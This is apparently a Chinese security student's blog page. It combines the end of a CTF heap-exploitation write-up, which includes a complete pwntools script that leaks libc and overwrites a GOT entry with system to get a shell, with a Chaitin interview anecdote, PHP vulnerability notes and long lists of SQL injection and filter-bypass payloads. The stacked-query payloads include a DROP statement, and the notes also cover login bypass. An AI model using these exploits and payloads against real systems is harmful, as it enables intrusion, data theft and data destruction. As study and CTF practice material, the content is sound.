    • 我们可以在0x804a2a0处伪造一个chunk,由于一个rifle的大小为0x38,因此我们选择伪造size为0x41的fastbin chunk。这时我们发现0x804a2a4即rifles_count,这个值正好是chunk的size字段,因此我们可以在free这个chunk之前 add 0x41个rifles就可以控制其大小。
    • 但是这里还有一点需要注意,我们还需要修改下一个物理相邻chunk的size,我们算了一下偏移,0x804a2a0 + 0x40 = 0x804a2e0,这个地方就是next_chunk的size字段,我们可以通过leave_message()来覆盖这个字段,message即0x804a2c0这里写入一段信息,我们计算一下偏移0x804a2e0 - 0x804a2c0 = 0x20 == 32. 再加上4个字节覆盖掉prev_size,因此一共输入36个字节的padding就能到达size字段。所以paload = ‘\x00’ 36 + p32(0x41)
    • 这里之所以用\x00做padding是因为要把fake_chunk的prev设成null,否则free之后会出错。
  1. 最后,我们就重新分配rifle,获得刚刚伪造的chunk,然后覆盖message指针的地址,将其设置为strlen()函数的got地址,然后leave_message()用system()覆盖got表,即可getshell。

到这里思路已经十分明确了,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!  /usr/bin/env    python2
from pwn import *

sh = process("./oreo")
elf = ELF("./oreo")
libc = ELF("./libc.so.6")

context.log_level = "debug"

# address
printf_got = elf.got['printf']
log.info("printf_got -> " + hex(printf_got))
printf_libc = libc.symbols['printf']
log.info("printf_libc -> " + hex(printf_libc))
system_libc = libc.symbols['system']
log.info("system_libc -> " + hex(system_libc))
message_addr = 0x0804a2a8
log.info("message_addr -> " + hex(message_addr))
strlen_got = elf.got['strlen']
log.info("strlen_got -> " + hex(strlen_got))


def add_refles(name,desc):
sh.sendline("1")
sh.sendline(name)
sh.sendline(desc)

def show_refles():
sh.sendline("2")

def leave_message(content):
sh.sendline("4")
sh.sendline(content)

def leak_addr():
name = 'a' * 27 + p32(printf_got)
desc = 'b'
log.info("name -> " + name)
log.info("desc -> " + desc)

# add refle and overwrite the prev_riles
add_refles(name, desc)

# leak printf_addr
show_refles()
sh.recvuntil("Description: ")
sh.recvuntil("Description: ")
printf_addr = u32(sh.recvn(4))
log.info("printf_addr -> " + hex(printf_addr))

return printf_addr

def get_system_addr(addr, libc_addr):
base = addr - libc_addr
system_addr = base + system_libc
log.info("system_addr -> " + hex(system_addr))
return system_addr

def fake_chunk():
# We need to make the size of chunk 0x41
for i in range(0x40-1):
add_refles(str(i), "fuck u")

# make a chunk to set the house into link
name = 'a' * 27 + p32(message_addr)
desc = "fuck U!"
log.info("name -> " + name)
log.info("desc -> " + desc)
add_refles(name, desc)

def order_refles():
sh.sendline("3")

def main():
printf_addr = leak_addr()
system_addr = get_system_addr(printf_addr, printf_libc)
fake_chunk()

# The padding's length is from message to the next chunk size
# padding = padding * (0xa0 + 0x40 - 0xc0 + 4) + p32(0x41)
padding= "\x00\x00\x00\x00"*9 + p32(0x41)
leave_message(padding)
order_refles()

show_refles()
# Overwrite the strlen_got
name = 'fuck U~'
desc = p32(strlen_got)
add_refles(name, desc)

leave_message(p32(system_addr)+ ";/bin/sh\x00")

sh.interactive()


main()

  这里有个点值得注意,我们最后一步覆盖system_got的时候可以直接传p32(system_addr) + ";/bin/sh\x00".因为,在strlen被覆盖之后,会执行addEnd()函数,相当于strlen(p32(system_addr) + ";/bin/sh\x00".)system(p32(system_addr)) 和 system("/bin/sh\x00")这样就可以快速getshell。当然,也可以覆盖其他函数的got表,比如sscanf,然后在输入的action的时候输入/bin/sh也可getshell。

shell

2019-12-12

chaitin面试经历

背景


  求简大佬内推, 2019.12.12去阿里云安全旗下的长亭科技面试, 超级紧张,毕竟是地表最强安全公司. 面试时间15:30,我14:26从806出发,路上吃了碗面,然后找20min没找到地方….后来发现是导航错了.
15:26分,到达公司. 看到一堆小零食和一柜子饮料,还有一堆黑客(划掉)安全人员. HR小姐姐人超级好,在微信上和我斗图哈哈哈,然后带来了某巨佬面试我,史上最硬核面试开始了…

面试


后来知道这是P师傅,师傅实在是太强了,现在每天给师傅递茶。:-)

  面试官是一位超级和善的安全研究员,先从最简单的开始问我,栈溢出的原理是啥类,linux下二进制保护措施有啥呀,原理是啥呀,咋绕过呀,能不能更给力一点呀同学?

我: 叽里呱啦….

带佬: 说说Heap segment的结构呗?

我: 首先程序刚开始没有建立Heap Segment,第一次malloc时创建堆段……

带佬: 简单的说一下malloc_chunk的结构吧

我: 首先他是个结构体…….

带佬: 第一次运行malloc时具体发生了啥鸭?

我: 第一分配内存首先要运行molloc_consolidate然后malloc_init_state进行初始化…..

带佬: unlink有什么问题吗?

我: 可能导致任意写或者地址泄漏,但是高版本的glibc加了验证,几乎不能任意写了

带佬: 对操作系统内核溢出有了解吗?

我: 嘤嘤嘤…没有

带佬: …

带佬: sql注入大概分为那几种啊?

我: 有回显,无回显(盲注)

带佬: 盲注分为哪几种,分别怎么利用

我: 叽里呱啦…

带佬: order by和limit注入分别怎么利用

我: 呱啦叽里…

带佬: ssrf盲打如何操作, 如何验证payload, 如何内网打redis

cry

我: 嘤嘤嘤…不会

带佬: linux下如何代码注入? 如何检测rootkit?

我: 嗯…ptrace? 然后分析流量?…(哭

带佬: …ELF的格式给讲讲呗

我: 啊, 那个头巴拉巴拉…..(勉强萌混过关)

带佬: 还行, 分析过cve么,就前几天那个phpfmp的洞看过吗?

cry

我: …哭

带佬: 了解TLB的原理么,简单说说呗? 还有进程间通信啥的?

我: 巴拉巴拉…对吧….

带佬: 还能更底层么?

我: …嘤..不会了

带佬: 内网渗透用哪些转发工具

我: lcx frp

带佬: ssh的转发功能用过么? 了解扫描器原理么? 端口显示open close filter意味着什么,从协议角度分析一下.

我: 啊? 啊? 啊?…不会

带佬: … section和segment啥区别呀

我: 一个segment由多个section组成?…

带佬: 恩, 解释性语言的逆向原理了解过么,就pyc那种.

cry

我: …无

带佬: TCP/IP三次握手讲讲呗?

我: 嗯…叽里呱啦..是吧?…

带佬似笑非笑: 你这个cpu怎么写的啊

我(都让让,我要装逼了): 乌啦乌啦…大概就是这样(恩,牛逼吧)

带佬: 还行, linux下的SIGNAL了解么

我: 只是用过,kill -9之类的…原理不懂

带佬: linux熟么?

我(熟的一p): 还行

带佬: 查看端口, 查找内容, 检测流量, 监视进程, 硬件读写,….噼里啪啦问了一堆

我: %^#@!大概就是这样

带佬: 恩,还行.正向shell和反向shell有什么区别?

我: 这样那样…

带佬: 权限维持咋弄啊?

我: crontab……

带佬: 反序列化讲讲

我: ….嗯嗯大概这样

带佬: 固件提取咋整啊

我: 编程器搞出来, binwalk看一看, ida擼一撸

带佬: binwalk分析不出来咋正呀?

我: 啊? 还能这样?

cry

带佬: magic number被去掉了或者elf结构乱了你分析个啥啊

我: 嗷嗷嗷…

带佬: 还行吧,我简单介绍一下我们部门….噼里啪啦…看你个人选择吧,我们这边偏业务研究,综合性比较强,楼下偏理论,负责打比赛搞名气的.

我: 都行都行

带佬: 有啥要问我的么?

我: 能发offer么

带佬: …还行, 我去叫hr

我: …

超级nice的HR姐姐


  HR姐姐就问了问性格啥的, 能来几天啊, 为啥干这个呀, 然后开始跟她将笑话…嗯…

HR姐姐: 我们一天300

我(woc这么多): 嗯, 还行

HR姐姐: 包吃

我(woc还包吃): 哦, 不错哦

HR姐姐: 有啥要问得嘛?加个微信呗?

我(加加加): 能给offer么?哭哭

HR姐姐: 哈哈哈这两天会通知你结果.

结果


  出来的时候才意识到只有一次技术面,看网上都是好几面…但是感觉挺稳的,毕竟相谈甚欢,赶紧问问简大佬

大概过了一个小时, 简大老和我说稳了….耶! 点个外卖奖励一下自己.

smile

基础知识整理

  整理了一下基础知识, 整理了一半web突然发现我是想申二进制来着…不管了

web


php

  1. 变量覆盖

    1. extract()变量覆盖

      1
      int extract ( array $var_array [, int $extract_type [, string $prefix ]])

      extract()函数将一个键值数组数组中的值导入符号表.第三个参数可以设置为EXTR_SKIP避免覆盖,默认为EXRE_OVERWRITE.

      1. parse_str()
        1
        void parse_str ( string $str [, array &$arr ])

      parse_str()将字符串解析到变量中.
      例如:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      <?php
      $a = 'oop';
      parse_str($_SERVER["QUERY_STRING"]);

      if ($a == 'fuck') {
      echo "Hacked!";
      } else {
      echo "Hello!";
      }
      ?>

      构造payload: curl “127.0.0.1?a=fuck”

      1. $$value 类型覆盖
        php中变量值可作为第二个变量的名.例如:
        1
        2
        3
        4
        5
        6
        $a = "hello";
        $$a = "world";

        echo "$a $$a"; // helloworld
        echo "$a ${$a}"; //helloworld
        echo "${"hello"}"; //world

      因此foreach在遍历数组时可能导致覆盖,例如:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      <?php
      foreach (array('_COOKIE','_POST','_GET') as $_request) {
      foreach ($$_request as $_key=>$_value) {
      $$_key= $_value;
      }
      }
      $id = isset($id) ? $id : "test";
      if($id === "fuck") {
      echo "flag{xxxxxxxxxx}";
      } else {
      echo "Nothing...";
      }
      ?>

      ?id=fuck 可覆盖id变量

      1. import_request_variables()
        1
        bool import_request_variables (string $types [, string $prefix])

      $type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE,第二个参数为要注册变量的前缀.
      例如:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      <?php
      $a = "0";
      import_request_variables("G");

      if ($a == 1) {
      echo "Fucked!";
      } else {
      echo "Nothing!";
      }
      ?>

      ?a=1 就会echo fucked

  1. 反序列化
    将json转化为实例后恶意执行代码,例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php 
    class test
    {
    public $flag = "flag{233}";
    protected $b = "b";
    private $c = "c";
    }

    $test = new test();
    $data = serialize($test);
    echo $data;
    ?>

    得到:

    1
    O:4:"test":3:{s:4:"flag";s:9:"flag{233}";s:4:"*b";s:1:"b";s:7:"testc";s:1:"c";}

    一般以type:length:content;这种格式存在.要注意两点

    1. protected类型属性名会变成 – %00*%00属性名
    2. private类型属性名会变成 – %00类名%00属性名

      相关magic方法

      必须知道的魔法方法:
      这里就不得不介绍几个我们必须知道的魔法方法了

    3. construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

    4. wakeup() :unserialize()时会自动调用
    5. destruct():当对象被销毁时会自动调用。
    6. toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
    7. get() :当从不可访问的属性读取数据
    8. call(): 在对象上下文中调用不可访问的方法时触发

      利用phar://扩展攻击面

      参考文章

  2. 魔法函数

    1. sleep() 和 wakeup()
    2. construct() 和 destruct()
    3. __toString()
    4. invoke() 和 call()
    5. get() 和 set()
  3. 危险函数

    1. system()

      1
      system ( string $command [, int &$return_var ] )
    2. shell_exec()

      1
      shell_exec ( string $cmd )
    3. exec()

      1
      exec( string $cmd )
    4. passthru()

      1
      passthru ( string $command [, int &$return_var ] )
    5. assert()
      如果assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

      1
      assert ( mixed $assertion [, string $description ] )
      1. popen()
        1
        resource popen ( string command, string mode )

      打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite().

      1. proc_open()
        1
        resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )

      与popen类似,但是可以提供双向管道。具体的参数读者可 以自己翻阅php manual

      注意:
      A. 后面需要使用proc_close()关闭资源,并且如果是 pipe 类型,需要用 pclose() 关闭句柄。
      B. proc_open 打开的程序作为 php 的子进程,php 退出后该子进程也会退出。

      1. 其他

        • pfsockopen()
        • syslog()
        • openlog()
        • chroot()
        • chown()
        • scandir()
  4. 伪协议

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    file:// — 访问本地文件系统
    http:// — 访问 HTTP(s) 网址
    ftp:// — 访问 FTP(s) URLs
    php:// — 访问各个输入/输出流(I/O streams)
    zlib:// — 压缩流
    data:// — 数据(RFC 2397)
    glob:// — 查找匹配的文件路径模式
    phar:// — PHP 归档
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音频流
    expect:// — 处理交互式的流
    1. file://
      用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

    2. php://
      php://filter在双off的情况下也可以正常使用;
      条件:
      不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启 allow_url_include

    3. php://filter
      php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

      1
      2
      3
      4
      resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。
      read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分 隔。
      write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
      <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于 读或写链。

      php://filter/read=convert.base64-encode/resource=upload.php
      这里读的过滤器为convert.base64-encode,就和字面上的意思一样,把输入流base64-encode。
      resource=upload.php,代表读取upload.php的内容

    4. php://input
      php://input 是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行。因为它不依赖于特定的 php.ini 指令。
      注:enctype=”multipart/form-data” 的时候 php://input 是无效的。

      1
      2
      allow_url_fopen :off/on
      allow_url_include:on
    5. file:// data:// 等

      参考文章

  5. 文件包含

    1. include()
    2. inlcude_onec()
    3. require()
    4. require_once()
    5. 各种伪协议
      参考文章
  6. 命令执行
    见危险函数和反序列化

  7. 常见框架

    1. ThinkPHP
    2. Laravel
    3. Zend
    4. Lumen

SQL Inject

  1. 盲注

    1. 基于Bool
    2. 基于时间
    3. 基于报错

      这一部分知识点爆炸多

      基于Bool

      一般这种注入要求我们构造逻辑判断,通常需要我们截取字符串然后进行比对.

      常用的截取函数:

      • mid()
      • substr()
      • left()
      MID()函数
      1
      MID(column_name,start[,length])
      • column_name 必需 要提取字符的字段
      • start 必需 规定开始位置(起始值是 1)
      • length 可选 要返回的字符数,如果省略,则 MID()函数返回剩余文本

      Eg: str=”123456” mid(str,2,1) 结果为2

      用例:

      1. 1
        MID(DATABASE(), 1, 1) > 'a'

      查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字 符。

      1. 1
        MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1) >'a'

      此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

      SUBSTR()函数

      Substr()和substring()函数实现的功能是一样的,均为截取字符串.

      1
      2
      string substring(string, start, length)
      string substr(string, start, length)

      参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

      用例:

      1. 1
        substr(DATABASE(), 1, 1) > 'a'

    查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

    1. 1
      substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,    1) > 'a'

    此处string参数可以为sql语句,可自行构造sql语句进行注入。

    LEFT()函数

    Left()得到字符串左部指定个数的字符

    1
    Left ( string, n )

    string为要截取的字符串,n为长度.

    用例:

    1. 1
      left(database(),1)>'a'

    查看数据库名第一位

    1
    left(database(),2)> 'ab'

    查看数据库名前二位。

    1. 同样的string可以为自行构造的sql语句。

      ORD()函数

      同时也要介绍ORD()函数,此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。

      例如:

      1
      ORD(MID(DATABASE(), 1, 1)) > 114

      意为检测database()的第一位ASCII码是否大于114,也即是’r’

      构造方式

      字符串函数构造

      1
      ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+        //substr()函数,ascii()函数

      正则构造

      1
      2
      3
      4
      5
      select user() regexp '^[a-z]';

      select * from users where id=1 and 1=(user() regexp'^ri');

      select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

      like匹配注入

      1
      Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

      这个和正则差不多

      基于时间

      if判断语句,条件为假,执行sleep

      1
      If(ascii(substr(database(),1,1))>115,0,sleep(5))%23

      原理大多类似,要求网速比较好

      基于报错

      得到表名:

      1
      select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

      当数字大于BIGINT溢出后mysql会报错, 这里的BIGINT是 !0

      1
      2
      3
      4
      5
      6
      7
      MariaDB [(none)]> select ~0;
      +----------------------+
      | ~0 |
      +----------------------+
      | 18446744073709551615 |
      +----------------------+
      1 row in set (0.000 sec)

      然后实验如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      MariaDB [(none)]> select (select*from(select user())x);
      +-------------------------------+
      | (select*from(select user())x) |
      +-------------------------------+
      | root@localhost |
      +-------------------------------+
      1 row in set (0.006 sec)

      MariaDB [(none)]> select !(select*from(select user())x);
      +--------------------------------+
      | !(select*from(select user())x) |
      +--------------------------------+
      | 1 |
      +--------------------------------+
      1 row in set, 1 warning (0.001 sec)

      因此,只要我们触发溢出错误即可,但是这种方式只适用于较低版本的mysql
      我的MariaDB做了相关保护:

      1
      2
      MariaDB [(none)]> select !(select*from(select user())x) - ~0;
      ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '!(select #) - ~0'

      期望的内容被 ‘#’ 代替了.同理,在insert update语句中也可构造溢出:

      1
      2
      3
      insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');

      update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;

      参考文章:
      BIGINT
      Blind Inject

    2. order by注入

      • 盲注
      • 触发报错

        其实原理与上面类似, 首先熟悉一下order by, 他是mysql中对查询数据进行排序的方法,使用示例:

      1
      2
      select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
      select * from 表名 order by 列名(或者数字) desc;降序

        这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

      1
      2
      select * from user order by id;
      selecr * from user order by 1;
      Union盲注
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      $sql = 'select * from admin where username='".$username."'';
      $result = mysql_query($sql);
      $row = mysql_fetch_array($result);
      if(isset($row)&&row['username']!="admin"){
      $hit="username error!";
      }else{
      if ($row['password'] === $password){
      $hit="";
      }else{
      $hit="password error!";
      }
      }

      payload

      1
      username=admin' union 1,2,'字符串' order by 3	//'

      此时sql语句变为:

      1
      select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;

        这里就会对第三列进行比较,即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注。 注意的是最好加上binary,因为order by比较的时候不区分大小写。
      例如:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      mysql> select * from order1;
      +------+----------+----------+
      | id | username | password |
      +------+----------+----------+
      | 1 | admin | uP10AcB |
      +------+----------+----------+
      mysql> select * from order1 where username='' or 1 union select 1,2,'v' order by 3;
      +------+----------+----------+
      | id | username | password |
      +------+----------+----------+
      | 1 | admin | uP10AcB |
      | 1 | 2 | v |
      +------+----------+----------+


      mysql> select * from order1 where username='' or 1 union select 1,2,'a' order by 3;
      +------+----------+----------+
      | id | username | password |
      +------+----------+----------+
      | 1 | 2 | a |
      | 1 | admin | uP10AcB |
      +------+----------+----------+

      mysql> select * from order1 where username='' or 1 union select 1,2,'u' order by 3;
      +------+----------+----------+
      | id | username | password |
      +------+----------+----------+
      | 1 | 2 | u |
      | 1 | admin | uP10AcB |
      +------+----------+----------+

        这里的order by 3是根据第三列进行排序,如果我们union查询的字符串比password小的话,我们构造的 1,2,a就会成为第一列,那么在源码对用户名做对比的时候,就会返回username error!,如果union查询的字符串比password大,那么正确的数据就会是第一列,那么页面就会返回password error!.

基于if()盲注

需要知道列名的情况:
  order by的列不同,返回的页面当然也是不同的,所以就可以根据排序的列不同来盲注。

1
order by if(1=1,id,username);

  这里如果使用数字代替列名是不行的,因为if语句返回的是字符类型,不是整型.

不必知道列名:
payload:

1
order by if(表达式,1,(select id from information_schema.tables))

  如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。

基于时间
1
2
3
4
5
6
7
    order by if(1=1,1,sleep(1))
```
测试:

```sql
select * from ha order by if(1=1,1,sleep(1)); #正常时间
select * from ha order by if(1=2,1,sleep(1)); #有延迟

  测试的时候发现延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 最后发现延迟的时间和所查询的数据的条数是成倍数关系的.计算公式:

1
延迟时间=sleep(1)的秒数*所查询数据条数

  我所测试的表中有四条数据,所以延迟了4秒。如果查询的数据很多时,延迟的时间就会很长了。 在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。

###### 基于rand()的盲注

原理与上面类似,看例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> select * from ha order by rand(true);
+----+------+
| id | name |
+----+------+
| 9 | NULL |
| 6 | NULL |
| 5 | NULL |
| 1 | dss |
| 0 | dasd |
+----+------+
mysql> select * from ha order by rand(false);
+----+------+
| id | name |
+----+------+
| 1 | dss |
| 6 | NULL |
| 0 | dasd |
| 5 | NULL |
| 9 | NULL |
+----+------+

可以看到当rand()为true和false时,排序结果是不同的,所以就可以使用rand()函数构造表达式进行盲注了.
1
order by rand(ascii(mid((select database()),1,1))>96)
###### 基于报错 *updatexml*
1
2
select * from ha order by updatexml(1,if(1=1,1,user()),1);#查询正常
select * from ha order by updatexml(1,if(1=2,1,user()),1);#查询报错
*extractvalue*
1
2
select * from ha order by extractvalue(1,if(1=1,1,user()));#查询正常
select * from ha order by extractvalue(1,if(1=2,1,user()));#查询报错
  1. 堆叠注入(Stacking Queries)

    一句代码之中执行多个查询语句,这在每一个注入点都非常有用,尤其是使用SQL Server后端的应用

    1
    ; SELECT * FROM members; DROP members --

    支持堆叠查询的语言/数据库
    绿色:支持,暗灰色:不支持,浅灰色:未知
    堆叠注入情况

  1. 万能密码

    • admin’ – #’
    • admin’ # #’
    • admin’/* #’
    • ‘ or 1=1– #’
    • ‘ or 1=1# #’
    • ‘ or 1=1/* #’
    • ‘) or ‘1’=’1– #’
    • ‘) or (‘1’=’1– #’

      绕过检查MD5哈希的登陆界面

        如果应用是先通过用户名,读取密码的MD5,然后和你提供的密码的MD5进行比较,那么你就需要一些额外的技巧才能绕过验证。你可以把一个已知明文的MD5哈希和它的明文一起提交,使得程序不使用从数据库中读取的哈希,而使用你提供的哈希进行比较。

      绕过MD5哈希检查的例子(MSP)

      1
      2
      3
      4
      用户名:admin

      密码:1234 ' AND 1=0 UNION ALL SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055
      // 其中81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
  2. 一些Bypass

    1. 大小写混合
      大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术

      举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

      示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理

    2. 替换关键字
      这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过

      举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

      同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望

    3. 使用编码

    • URL编码

        在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29
      普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:

      1
      page.php?id=1%252f%252a*/UNION%252f%252a /SELECT #
    • 十六进制编码

      举例:

      1
      2
      z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4
      SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

  示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点

- Unicode编码

  Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了

  看一下常用的几个符号的一些Unicode编码:

单引号: `%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7`

空格: `%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0`

左括号: `%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8`

右括号: `%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9`

举例: `?id=10%D6'%20AND%201=2%23`  #'

  两个示例中,前者利用双字节绕过,比如对单引号转义操作变成\,那么就变成了%D6%5C,%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过
  另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的

例子:

  1. 使用注释

    看一下常见的用于注释的符号有哪些:

    //, – , /**/, #, –+,– -, ;,–a

  • 普通注释

举例:
z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4

  /**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询

  • 内联注释

  相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别

举例:
index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3

?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…

  两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用

  1. 等价函数与命令
    有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用

    1
    2
    3
    4
    5
    6
    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir()

    例如:
    substring()和substr()无法使用时:

    1
    ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
1. 特殊符号
利用反引号等符号,或用@定义变量,或用+号连接被拆分的字符串

1. HTTP参数控制
重复发送同一个参数,不太常见

1. 缓冲区溢出
跟基于报错那个差不多

1. 整合绕过
把前面说的合起来
1
2
3
4
z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/ *!TaBlE_ScHeMa*/+like+database() -
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
速记: - 空格过滤: - 注释 - %20 %09 %0a %0d %0b %0c %0d %a0等url编码 - 逗号过滤 - 用JOIN()绕过 - 用select绕过 [参考文章](http://drops.xmd5.com/static/drops/tips-7840.html)
2019-12-08

汇编文档整理

前言

  本文旨在带领你快速了解汇编的特点以及程序运行的基本过程.让你体验专业而粗暴的攻击方式.下面我们简单介绍一下你需要了解哪些知识.

  1. 汇编基础
  2. 基本逆向工程
  3. 简单调试技巧
  4. 函数运行时栈的构造与内存分布
  5. 基本Linux基础
  6. 缓冲区溢出漏洞利用

本文将对比x86与x86-64程序,即32位与64位,主流机器大部分运行64位程序,但32程序运行的原理十分重要(主要体现在函数调用部分)

建议阅读的资料:

  • 汇编语言(王爽)
    • 此书主要介绍8086汇编,虽然8086已经淘汰,但是对理解计算机驱动层十分有益,笔者花了15天读完,建议阅读
  • 深入理解计算机系统
    • 本书为卡内基梅隆大学教材,内容之精妙无法描述orz,全书732页笔者读了一半,打算多刷几遍,强推!!!
  • 程序员的自我修养
    • 听名字像是颈椎病康复指南之类的书,实际上讲的是编译时链接装载的过程,硬核玩家必看
  • SICP
    • 这是魔法!!!

希望在你读完这篇文章的时候能够拿下你的第一台主机.


汇编基础

为啥要学汇编

  汇编是逆向工程的基础,许多人都希望能够破解软件,制作游戏外挂,不花钱冲会员等等,这都属于逆向工程的范畴.逆向工程就是在只有二进制文件的时候,我通过反汇编的手段来从二进制文件获得汇编代码,进而对汇编代码进行反编译得到类C的高级语言,以辅助我们了解程序逻辑,挖掘程序漏洞.

